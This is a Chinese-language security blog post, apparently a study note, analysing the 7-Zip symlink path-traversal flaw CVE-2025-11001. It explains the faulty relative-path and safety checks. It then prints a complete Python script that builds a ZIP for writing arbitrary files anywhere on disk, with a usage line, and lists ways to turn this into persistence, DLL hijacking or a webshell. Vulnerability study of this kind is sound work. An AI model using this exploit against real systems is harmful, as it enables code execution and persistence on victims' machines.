首页
关于
友链
Search
1
设备部署-NIDS入侵检测系统-Snort&Suricata
5 阅读
2
从方法重写到SQL注入-信呼OA审计
5 阅读
3
CVE-2025-11001
4 阅读
4
设备部署-HIDS入侵检测系统-Elkeid&Wazuh
4 阅读
5
Web入侵分析入口思路
3 阅读
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
登录
Search
标签搜索
学习笔记
蓝队
应急响应
代码审计
设备部署
内存马查杀
IDS
漏洞复现
JumpServer
HFish
雷池WAF
HIDS
Snort
Suricata
NIDS
Yara规则识别样本
ELK日志分析系统
Rookit查杀
容器应急
docker
N0va7
累计撰写
31
篇文章
累计收到
1
条评论
首页
栏目
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
页面
关于
友链
搜索到
1
篇与
的结果
2025-11-01
CVE-2025-11001
原文链接https://pacbypass.github.io/2025/10/16/diffing-7zip-for-cve-2025-11001.html漏洞概况该漏洞仅在 Windows 上可用,并且有一个重要警告:只有以管理员权限运行 7-Zip 时,才能成功利用此漏洞。这是因为 7-zip 进程会创建一个符号链接,而这在 Windows 上属于特权操作。因此,只有当服务帐户使用 7-Zip 时,这种利用才有意义。漏洞原理7-Zip 在处理 ZIP 文件中的 Linux 风格符号链接(即内容为路径字符串的小文件,权限位为 0120777)时,试图将其转换为 Windows 符号链接(symlink)或目录联结(junction)。但在此过程中,路径安全性检查存在逻辑缺陷,导致攻击者可以绕过防护,让 7-Zip 在任意位置(如 C:\Windows\System32)创建文件。技术细节分解(三大问题)问题一:错误判断“相对路径”当 ZIP 中的符号链接内容是 Windows 风格绝对路径(如 C:\Users\Alice\Desktop)时,7-Zip 的解析器 仍按 Linux 规则判断:因为路径不以 / 开头,所以被误判为 “相对路径”(isRelative = true)。关键点:C:\... 在 Linux 视角下不是绝对路径(因为没有 /),所以被当成相对路径!问题二:路径拼接绕过安全检查由于被判定为“相对路径”,7-Zip 会将符号链接在 ZIP 中的所在目录拼接到目标路径前。例如:ZIP 结构为 data/link → C:\Target实际检查的路径变成:data/linkC:\Target(注意:中间没有路径分隔符!)而安全函数 IsSafePath() 原本用于阻止绝对路径,但它对这种“畸形拼接路径”误判为安全(因为不以 / 或盘符开头)。结果:绕过了 IsSafePath 的防护!问题三:关键安全检查被跳过7-Zip 后续还有一个更严格的检查,用于验证符号链接目标是否安全:if (!_ntOptions.SymLinks_AllowDangerous.Val) { if (_item.IsDir) { // ← 只有当条目是“目录”时才执行检查! // 检查 linkInfo.linkPath 是否危险 } }但我们的符号链接是一个文件条目(不是目录),所以 _item.IsDir == false,整个检查被跳过!最终:危险的 C:\... 路径未被拦截。漏洞复现https://github.com/pacbypass/CVE-2025-11001import argparse import os import time import zipfile def add_dir(z, arcname): if not arcname.endswith('/'): arcname += '/' zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o040755 << 16) | 0x10 zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, b'') def add_symlink(z, arcname, target): zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o120777 << 16) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, target.encode('utf-8')) def add_file_from_disk(z, arcname, src_path): with open(src_path, 'rb') as f: payload = f.read() zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o100644 << 16) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, payload) def main(): parser = argparse.ArgumentParser( description="Crafts a zip that exploits CVE-2025-11001." ) parser.add_argument( "--zip-out", "-o", required=True, help="Path to the output ZIP file." ) parser.add_argument( "--symlink-target", "-t", required=True, help="Destination path the symlink points to - specify a \"C:\" path" ) parser.add_argument( "--data-file", "-f", required=True, help="Path to the local file to embed e.g an executable or bat script." ) parser.add_argument( "--dir-name", default="data", help="Top-level directory name inside the ZIP (default: data)." ) parser.add_argument( "--link-name", default="link_in", help="Symlink entry name under the top directory (default: link_in)." ) args = parser.parse_args() top_dir = args.dir_name.rstrip("/") link_entry = f"{top_dir}/{args.link_name}" embedded_name = os.path.basename(args.data_file) file_entry = f"{link_entry}/{embedded_name}" with zipfile.ZipFile(args.zip_out, "w") as z: add_dir(z, top_dir) add_symlink(z, link_entry, args.symlink_target) add_file_from_disk(z, file_entry, args.data_file) print(f"Wrote {args.zip_out}") if __name__ == "__main__": main()利用方式:python3 exploity.py -t "D:\Desktop" -o demo.zip --data-file calc.exe准备好 calc.exe使用管理员权限运行 7-Zip 进行解压,可以发现桌面位置出现了 calc.exe 程序利用思路一旦攻击者能通过该漏洞将任意文件写入系统任意位置(需有写权限),就可以实现多种高危攻击:1. 自启动项覆盖 / 植入写入恶意 .exe 或 .bat 到:C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\效果:用户下次登录时自动执行恶意代码。2. 计划任务(Scheduled Task)文件覆盖或植入虽然 Windows 计划任务主要通过注册表或 XML 配置,但:可覆盖已有的任务脚本(如 .ps1, .bat)或写入新任务文件到可被任务调度器加载的位置(需配合其他机制)更常见的是:写入 DLL 到被任务调用的程序目录,实现 DLL 劫持3. DLL 劫持(DLL Hijacking)覆盖或植入 DLL 到常用程序目录(如 C:\Program Files\App\)当高权限程序启动时加载恶意 DLL → 权限提升4. 服务二进制替换如果目标系统有可写的服务二进制路径(如某些 notepad 记事本),可直接替换 .exe 文件5. Web 目录写入(若目标为 Web 服务器)写入 Webshell 到 C:\inetpub\wwwroot\ 等目录实现远程命令执行
2025年11月01日
4 阅读
0 评论
0 点赞